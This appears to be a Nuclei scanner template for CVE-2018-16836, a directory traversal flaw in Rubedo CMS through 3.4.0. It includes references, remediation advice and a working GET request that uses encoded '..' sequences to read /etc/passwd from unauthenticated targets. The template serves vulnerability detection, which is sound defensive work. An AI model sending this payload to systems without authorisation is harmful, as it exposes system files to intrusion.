id: CVE-2018-16836 info: name: Rubedo CMS <=3.4.0 - Directory Traversal author: 0x_Akoko severity: critical description: Rubedo CMS through 3.4.0 contains a directory traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI. remediation: | Upgrade to a patched version of Rubedo CMS (>=3.4.1) or apply the provided security patch. reference: - https://www.exploit-db.com/exploits/45385 - https://nvd.nist.gov/vuln/detail/CVE-2018-16836 - https://github.com/maroueneboubakri/CVE/tree/master/rubedo-cms - https://www.exploit-db.com/exploits/45385/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-16836 cwe-id: CWE-22 epss-score: 0.29944 epss-percentile: 0.96414 cpe: cpe:2.3:a:rubedo_project:rubedo:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: rubedo_project product: rubedo tags: cve,cve2018,rubedo,lfi,edb http: - method: GET path: - "{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4b0a0048304602210093aa1d5eb0d8c8ddfbc9c7b014bb151fe6fe7f1bdba12fe248f866c62636b957022100ca168238972bbbd152e9e315d2ce67451945aeea7d339f2b999af69ea0ddc66c:922c64590222798bb761d5b6d8e72950